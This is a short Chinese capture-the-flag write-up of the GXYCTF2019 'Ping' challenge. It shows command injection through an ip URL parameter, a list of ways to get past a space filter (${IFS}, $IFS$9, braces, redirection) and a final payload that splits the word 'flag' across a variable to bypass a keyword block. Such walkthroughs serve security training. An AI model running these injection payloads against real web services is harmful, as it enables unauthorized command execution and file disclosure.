一.[GXYCTF2019]Ping
1.根据提示输入ip
/?ip=0.0.0.0
/?ip=127.0.0.1 回显成功;
显示当前所有的文件
/?ip=127.0.0.1|ls
这里可以发现想知道的目标文件flag.php;
尝试查看文件/?ip=127.0.0.1|cat flag.php
发现空格被限制;
- 命令中空格被过滤的解决方法:
- {cat,flag.php}
- cat${IFS}flag.php
- cat$IFS$9flag.php: $IFS$9 $9指传过来的第9个参数
- cat<flag.php
- cat<>flag.php
- kg=$'\x20flag.php'&&cat$kg
- (%20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
这里可以一一尝试,以下分别为错误和成功的反馈信息;
这里可以发现flag也被过滤了,尝试一下另一个文件;
打开index.php;
可以明显发现flag被限制,现在需要做的就是绕过限制;
代码审计可以发现$a可以进行输入,所有这里可以使用$a绕过限制;
构造payload:
/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
成功绕过;
但是并没有发现目标文件flag,查看源码;
得到flag;